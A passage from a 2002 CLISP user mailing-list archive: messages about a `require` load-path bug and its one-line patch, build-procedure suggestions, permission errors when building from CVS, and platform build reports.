things have been working just fine since forever) PS I recommend using `with-open-file' instead of `open' and `with-open-stream+socket-accept/socket-connect' instead of bare `socket-accept/socket-connect'. > Oh, also, in the server I wrote in C, I fork()ed and did all my socket > writing in the child. I would like to be able to do *something* like > that in mine. I know there isn't a fork, but is there multiprocessing > of some kind? you shouldn't need anything like that here. CLISP INSPECT works as an HTTP server just fine. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Daddy, why doesn't this magnet pick up this floppy disk? From samuel.steingold@verizon.net Thu Mar 14 07:52:18 2002 Received: from out005slb.verizon.net ([206.46.170.17] helo=out005.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lXWa-0004wP-00 for ; Thu, 14 Mar 2002 07:52:16 -0800 Received: from gnu.org ([151.203.227.220]) by out005.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020314155145.OBUM23097.out005.verizon.net@gnu.org>; Thu, 14 Mar 2002 09:51:45 -0600 To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Confused by `require', *load-paths* and clisp 2.28 References: <20020314125633.L21294@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020314125633.L21294@hagbard.davep.org> Message-ID: Lines: 55 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 07:53:03 2002 X-Original-Date: 14 Mar 2002 10:47:52 -0500 > * In message <20020314125633.L21294@hagbard.davep.org> > * On the subject of "[clisp-list] Confused by `require', *load-paths* and clisp 2.28" > * Sent on Thu, 14 Mar 2002 12:56:33 +0000 > * Honorable Dave Pearson writes: > > | davep@hagbard:~$ type cl > | cl is aliased to `clisp -K full -q -ansi' > | davep@hagbard:~$ cl > | ;; Loading file /home/davep/.clisprc.lsp ... > | *** - A file with name dp-lib does not exist > | 1. Break [2]> > > | davep@hagbard:~$ ls lib/lisp/dp-lib.fas > | lib/lisp/dp-lib.fas > > If I change the `require' to a load everything works fine: > | davep@hagbard:~$ cl > | ;; Loading file /home/davep/.clisprc.lsp ... > | ;; Loading file /home/davep/lib/lisp/dp-lib.fas ... > | ;; Loading of file /home/davep/lib/lisp/dp-lib.fas is finished. > | ;; Loading of file /home/davep/.clisprc.lsp is finished. > | [1]> 1. I broke it in the 2002-02-28 patch and just fixed it in the CVS (path appened). Sorry. 2. this bug slipped through because, apparently, no pretester uses REQUIRE. I hope this will inspire you to participate in the next pre-test. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Garbage In, Gospel Out Index: defs1.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/defs1.lisp,v retrieving revision 1.12 retrieving revision 1.13 diff -u -w -b -u -b -w -i -B -r1.12 -r1.13 --- defs1.lisp 1 Mar 2002 05:01:49 -0000 1.12 +++ defs1.lisp 14 Mar 2002 15:48:12 -0000 1.13 @@ -167,7 +167,7 @@ (*load-paths* (if (null *load-truename*) *load-paths* (cons (make-pathname :name nil :type nil :defaults *load-truename*) - *load-truename*))) + *load-paths*))) #-CLISP (*default-pathname-defaults* '#"")) (if (atom pathname) (load pathname) (mapcar #'load pathname))))) From davep@davep.org Thu Mar 14 08:25:24 2002 Received: from anchor-post-35.mail.demon.net ([194.217.242.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lY2d-0006cX-00 for ; Thu, 14 Mar 2002 08:25:23 -0800 Received: from hagbard.demon.co.uk ([158.152.34.118] helo=hagbard.davep.org) by anchor-post-35.mail.demon.net with esmtp (Exim 3.35 #1) id 16lY2Z-000DkF-0Z for clisp-list@lists.sourceforge.net; Thu, 14 Mar 2002 16:25:19 +0000 Received: (from davep@localhost) by hagbard.davep.org (8.9.3/8.9.3) id QAA20300 for clisp-list@lists.sourceforge.net; Thu, 14 Mar 2002 16:25:18 GMT From: Dave Pearson To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Confused by `require', *load-paths* and clisp 2.28 Message-ID: <20020314162518.Z21294@hagbard.davep.org> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20020314125633.L21294@hagbard.davep.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Mar 14, 2002 at 10:47:52AM -0500 Organization: (davep 'org) X-URL: http://www.davep.org/ X-DDate: Pungenday, Day 73 of the season of Chaos, Anno Mung 3168 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 08:26:11 2002 X-Original-Date: Thu, 14 Mar 2002 16:25:18 +0000 * Sam Steingold [2002-03-14 10:47:52 -0500]: > 1. I broke it in the 2002-02-28 patch and just fixed it in the CVS (path > appened). Sorry. Much appreciated. Many thanks. No need to apologise, these things happen. > 2. this bug slipped through because, apparently, no pretester uses > REQUIRE. I hope this will inspire you to participate in the next > pre-test. Inspiration has nothing to do with it (if you check back you'll see I've pretested a number of previous releases and have reported build problems), available time and other commitments has. You might want to consider that before suggesting that people lack the inspiration to help this particular free software project. -- Dave Pearson http://www.davep.org/ From samuel.steingold@verizon.net Thu Mar 14 12:49:42 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lcAP-0006yM-00 for ; Thu, 14 Mar 2002 12:49:41 -0800 Received: from gnu.org ([151.203.227.220]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020314204934.RNLJ20881.out018.verizon.net@gnu.org>; Thu, 14 Mar 2002 14:49:34 -0600 To: Dave Pearson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Confused by `require', *load-paths* and clisp 2.28 References: <20020314125633.L21294@hagbard.davep.org> <20020314162518.Z21294@hagbard.davep.org> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020314162518.Z21294@hagbard.davep.org> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 12:56:58 2002 X-Original-Date: 14 Mar 2002 15:50:56 -0500 > * In message <20020314162518.Z21294@hagbard.davep.org> > * On the subject of "Re: [clisp-list] Confused by `require', *load-paths* and clisp 2.28" > * Sent on Thu, 14 Mar 2002 16:25:18 +0000 > * Honorable Dave Pearson writes: > > Inspiration has nothing to do with it (if you check back you'll see > I've pretested a number of previous releases and have reported build > problems), available time and other commitments has. You might want to sure - I meant it as a loose quote from "up the down staircase" > consider that before suggesting that people lack the inspiration to > help this particular free software project. you are not the first one to report the this bug. I did not mean you personally, but rather the group of "require" users. no insult intended - your contributions are appreciated. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! There is an exception to every rule, including this one. From kaz@footprints.net Thu Mar 14 13:10:49 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lcUo-0003qh-00 for ; Thu, 14 Mar 2002 13:10:46 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.34 #1) id 16lcUn-0000ze-00 for clisp-list@lists.sourceforge.net; Thu, 14 Mar 2002 13:10:45 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Build procedure. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 13:17:57 2002 X-Original-Date: Thu, 14 Mar 2002 13:10:45 -0800 (PST) How about simplifying the build? No manual steps beyond ``configure'' and ``make install''. People shouldn't have to cd down into a directory and then have to repeat some command. Secondly, the -K full linkkit should have every available feature by default: clx, regex, linuxlibc6 if applicable, etc. This second item is important, because distribution maintainers who include CLISP in a GNU/Linux distribution aren't going to drill down into it to find out what configure options there are to enable extra things. You want ``--disable-*'' negative options for people who want to hack a smaller install. If distributions come with minimal builds of CLISP, then application programmers have to tell users to ignore the CLISP that came with their system, and build one from scratch with all the right modules. Or else developers have to include all the right paraphernalia to build the needed linkkit. That shouldn't be necessary for components that are bundled with CLISP, only for custom interfaces. From seniorr@aracnet.com Thu Mar 14 14:04:21 2002 Received: from bonneville.tdb.com ([216.99.214.10] helo=coulee.tdb.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ldKe-0007pi-00 for ; Thu, 14 Mar 2002 14:04:20 -0800 Received: (qmail 444 invoked by uid 1001); 14 Mar 2002 22:04:20 -0000 To: clisp-list@lists.sourceforge.net From: Russell Senior Message-ID: <86r8mmhkm3.fsf@coulee.tdb.com> Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] permissions problem on cfgunix.lisp/config.lisp from CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 14:05:05 2002 X-Original-Date: 14 Mar 2002 14:04:20 -0800 I may be somewhat confused, but I just ran into a problem trying to build on Linux 2.4.x from CVS: $ cvs -z3 -d:pserver:anonymous@cvs.clisp.sourceforge.net:/cvsroot/clisp co clisp $ cd /build/clisp $ /src_archive/lang/lisp/clisp/cvs/clisp/configure --srcdir=/src_archive/lang/lisp/clisp/cvs/clisp --prefix=/packages/development/lisp/clisp $ ./makemake --prefix=/packages/development/lisp/clisp --with-readline --with-gettext --with-dynamic-ffi > Makefile $ make config.lisp cp -p /src_archive/lang/lisp/clisp/cvs/clisp/src/cfgunix.lisp config.lisp echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp /bin/sh: config.lisp: Permission denied make: *** [config.lisp] Error 1 The problem appears to be that src/cfgunix.lisp has -r--r--r-- permissions and the make rule says to preserve those permissions, which then conflicts with the rule's desire to append to the file. -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From mcheung@wpi.edu Thu Mar 14 14:28:37 2002 Received: from smtp.wpi.edu ([130.215.24.62]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ldi8-0005Kn-00 for ; Thu, 14 Mar 2002 14:28:36 -0800 Received: from wpi.WPI.EDU (root@wpi.WPI.EDU [130.215.24.6]) by smtp.WPI.EDU (8.12.3.Beta0/8.12.3.Beta0) with ESMTP id g2EMSX9J014158 for ; Thu, 14 Mar 2002 17:28:33 -0500 (EST) Received: from localhost (mcheung@localhost [127.0.0.1]) by wpi.WPI.EDU (8.12.3.Beta0/8.12.3.Beta0) with ESMTP id g2EMSWmC023852 for ; Thu, 14 Mar 2002 17:28:32 -0500 (EST) From: Matthew Gein Cheung To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 14:29:08 2002 X-Original-Date: Thu, 14 Mar 2002 17:28:32 -0500 (EST) I'm running Linux Mandrake 8.1 on an old Pentium 133 Mhz and I download the source for CLISP. I followed all the installations steps, but when I got to step 6 which is either enter the command make or the list of makes. At this point I get an error message saying there is no target and no makefile found. If I try makeinit it says test -d bindings || mkdir bindings. What is wrong? From samuel.steingold@verizon.net Thu Mar 14 15:55:12 2002 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lf3t-0005b4-00 for ; Thu, 14 Mar 2002 15:55:10 -0800 Received: from gnu.org ([151.203.227.220]) by out006.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020314235412.QRLB23259.out006.verizon.net@gnu.org>; Thu, 14 Mar 2002 17:54:12 -0600 To: Matthew Gein Cheung Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 15:56:02 2002 X-Original-Date: 14 Mar 2002 18:56:26 -0500 > * In message > * On the subject of "[clisp-list] (no subject)" > * Sent on Thu, 14 Mar 2002 17:28:32 -0500 (EST) > * Honorable Matthew Gein Cheung writes: > > I'm running Linux Mandrake 8.1 on an old Pentium 133 Mhz and I > download the source for CLISP. I followed all the installations > steps, but when I got to step 6 which is either enter the command make > or the list of makes. At this point I get an error message saying > there is no target and no makefile found. If I try makeinit it says > test -d bindings || mkdir bindings. What is wrong? too little information. please unpack the sources in a fresh place and type there $ ./configure --build build-dir and report all errors you will get. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Please wait, MS Windows are preparing the blue screen of death. From samuel.steingold@verizon.net Thu Mar 14 16:32:44 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lfeF-0000Zl-00 for ; Thu, 14 Mar 2002 16:32:43 -0800 Received: from gnu.org ([151.203.227.220]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020315003235.BBJN1518.out012.verizon.net@gnu.org>; Thu, 14 Mar 2002 18:32:35 -0600 To: Russell Senior Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] permissions problem on cfgunix.lisp/config.lisp from CVS References: <86r8mmhkm3.fsf@coulee.tdb.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <86r8mmhkm3.fsf@coulee.tdb.com> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 16:33:04 2002 X-Original-Date: 14 Mar 2002 19:33:59 -0500 > * In message <86r8mmhkm3.fsf@coulee.tdb.com> > * On the subject of "[clisp-list] permissions problem on cfgunix.lisp/config.lisp from CVS" > * Sent on 14 Mar 2002 14:04:20 -0800 > * Honorable Russell Senior writes: > > cp -p /src_archive/lang/lisp/clisp/cvs/clisp/src/cfgunix.lisp config.lisp > echo '(setq *clhs-root-default* "http://www.lisp.org/HyperSpec/")' >> config.lisp > /bin/sh: config.lisp: Permission denied > make: *** [config.lisp] Error 1 I modified makemake.in to take care of this. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Trespassers will be shot. Survivors will be SHOT AGAIN! From seniorr@aracnet.com Thu Mar 14 16:43:47 2002 Received: from bonneville.tdb.com ([216.99.214.10] helo=coulee.tdb.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lfow-0006DS-00 for ; Thu, 14 Mar 2002 16:43:46 -0800 Received: (qmail 13913 invoked by uid 1001); 15 Mar 2002 00:43:47 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: From: Russell Senior In-Reply-To: Message-ID: <86lmcufynw.fsf@coulee.tdb.com> Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 16:44:07 2002 X-Original-Date: 14 Mar 2002 16:43:47 -0800 >>>>> "Sam" == Sam Steingold writes: Sam> too little information. please unpack the sources in a fresh Sam> place and type there Sam> $ ./configure --build build-dir Sam> and report all errors you will get. Sam> thanks. This is from the CVS repository again (sync'd this afternoon): $ ./configure --build /build/clisp --prefix=/packages/development/clisp [...] gcc -E ari80386.c | grep -v '^#' > ari80386.s gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -x assembler -c ari80386.s gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -O0 -c genclisph.c In file included from genclisph.d:5: lispbibl.d:7092: warning: register used for two global register variables cd /src_archive/lang/lisp/clisp/cvs/clisp/ && make -f Makefile.devel src/configure make[1]: Entering directory `/aux2/src_archive/lang/lisp/clisp/cvs/clisp' cd src ; autoconf/autoconf -A autoconf -l autoconf autoconf/autoconf: configure: Permission denied make[1]: *** [src/configure] Error 1 make[1]: Leaving directory `/aux2/src_archive/lang/lisp/clisp/cvs/clisp' make: *** [/src_archive/lang/lisp/clisp/cvs/clisp/src/configure] Error 2 Should anything be modifying the source directory tree during a build? What if it was on read-only media? -- Russell Senior ``The two chiefs turned to each other. seniorr@aracnet.com Bellison uncorked a flood of horrible profanity, which, translated meant, `This is extremely unusual.' '' From samuel.steingold@verizon.net Thu Mar 14 17:11:24 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lgFd-0001CC-00 for ; Thu, 14 Mar 2002 17:11:21 -0800 Received: from gnu.org ([151.203.227.220]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020315011118.SUZH20881.out018.verizon.net@gnu.org>; Thu, 14 Mar 2002 19:11:18 -0600 To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Build procedure. References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 17:12:12 2002 X-Original-Date: 14 Mar 2002 20:12:41 -0500 > * In message > * On the subject of "[clisp-list] Build procedure." > * Sent on Thu, 14 Mar 2002 13:10:45 -0800 (PST) > * Honorable Kaz Kylheku writes: > > How about simplifying the build? No manual steps beyond ``configure'' > and ``make install''. People shouldn't have to cd down into a > directory and then have to repeat some command. that's what it is already. $ ./configure --build build $ cd build; make install > Secondly, the -K full linkkit should have every available feature by > default: clx, regex, linuxlibc6 if applicable, etc. > > This second item is important, because distribution maintainers who > include CLISP in a GNU/Linux distribution aren't going to drill down > into it to find out what configure options there are to enable extra > things. You want ``--disable-*'' negative options for people who want > to hack a smaller install. it's not like distribution maintainers are fighting for the honor. :-( first, many people use linux on an old X-less machine - so if we distribute CLISP with full image requiring X, we lose them. second, the build options in clisp.spec for RPM is under our control. would you like to maintain CLISP RPMs? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From samuel.steingold@verizon.net Thu Mar 14 20:49:36 2002 Received: from out011pub.verizon.net ([206.46.170.135] helo=out011.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ljep-0006Mj-00 for ; Thu, 14 Mar 2002 20:49:35 -0800 Received: from gnu.org ([151.203.227.220]) by out011.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020315044934.SCVQ10148.out011.verizon.net@gnu.org>; Thu, 14 Mar 2002 22:49:34 -0600 To: Russell Senior Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (no subject) References: <86lmcufynw.fsf@coulee.tdb.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <86lmcufynw.fsf@coulee.tdb.com> Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Mar 14 20:50:04 2002 X-Original-Date: 14 Mar 2002 23:50:58 -0500 > * In message <86lmcufynw.fsf@coulee.tdb.com> > * On the subject of "Re: [clisp-list] (no subject)" > * Sent on 14 Mar 2002 16:43:47 -0800 > * Honorable Russell Senior writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> too little information. please unpack the sources in a fresh > Sam> place and type there > Sam> $ ./configure --build build-dir > Sam> and report all errors you will get. > Sam> thanks. what does this have to do with your message? > This is from the CVS repository again (sync'd this afternoon): why are you writing this here and not to then? > Should anything be modifying the source directory tree during a build? > What if it was on read-only media? 1. you are using a CVS CLISP - a _development_ version. enough said. [or maybe not, it appears that there is too much misunderstanding: we _do_ encourage people to use the _development_ version, with the hope that they will catch or, better yet, _fix_ bugs. nevertheless, if you _are_ using a development version, you are expected to understand that you cannot expect a smooth process and you will have to use discretion.] 2. every time a configure.in or autoconf/* is changed, configure has to be regenerated. I find it impractical to commit all such regenerations right away (since configure has lots of line numbers in it, a trivial change in configure.in will result in _huge_ diffs for configure) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! XFM: Exit file manager? [Continue] [Cancel] [Abort] From dwalker@syncreticsoft.com Fri Mar 15 04:49:34 2002 Received: from host22.syncreticsoft.com ([65.211.2.22] helo=r2d2.syncreticsoft.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lr9H-0007VQ-00 for ; Fri, 15 Mar 2002 04:49:31 -0800 Message-ID: <002b01c1cc1f$cf7ad270$3402d341@syncreticsoft.com> From: "Damond Walker" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Building clisp on Ultra-10 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 15 04:50:04 2002 X-Original-Date: Fri, 15 Mar 2002 07:49:13 -0500 Hello list, I'm having problems building the latest release on my (Sparc) Ultra-10 (running SuSE 7.3). I've been reading some of the stuff on the Source Forge page about setting safety to 3 or whatnot. At first the compile would segfault running the initial list environment (it would segfault before showing the clisp banner). After setting safety to 3, cleaning, and rebuilding clisp does indeed come up. The make process then starts to build the interpreted image. It gets three files into the process and then segfaults again (I think it's trying to load DEFMACRO.LISP). I've traced the segfault to line 1480 of spvw_circ.d. The line in question is something like "switch (Record_type(obj)) {". The error is a segfault again. Mayhaps 'obj' isn't pointing to what it should? Who knows. Hope that helps whomever. ;) --- Damond Walker Syncretic Software, Inc. (302) 793-0300 x28 From vs1100@terra.es Fri Mar 15 11:50:56 2002 Received: from mailhost.teleline.es ([195.235.113.141] helo=tsmtp10.mail.isp) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lxj3-0006kw-00 for ; Fri, 15 Mar 2002 11:50:53 -0800 Received: from karsten.terra.es ([62.36.156.248]) by tsmtp10.mail.isp (Netscape Messaging Server 4.15 tsmtp10 Jul 26 2001 13:10:38) with ESMTP id GT15RX00.TEK for ; Fri, 15 Mar 2002 20:50:21 +0100 Message-Id: <5.1.0.14.0.20020315185631.00a27cc0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Clisp 2.28 + newest CVS working fine Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 15 11:51:04 2002 X-Original-Date: Fri, 15 Mar 2002 18:59:30 +0100 I just like to confirm that with the latest patches from cvs clisp builds fine on cygwin. All tests are fine, control-c is working and getting http-pages works fine. I don't know how to test the ipv6 stuff though. Karsten From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 15 13:26:13 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16lzDH-0006Dn-00 for ; Fri, 15 Mar 2002 13:26:12 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 15 Mar 2002 15:09:17 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 15 Mar 2002 15:10:44 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C1CC2B.2C7FAF30" Subject: [clisp-list] describe foreign-function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 15 13:27:02 2002 X-Original-Date: Fri, 15 Mar 2002 15:10:34 +0100 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C1CC2B.2C7FAF30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, output of DESCRIBE is not as informative as it 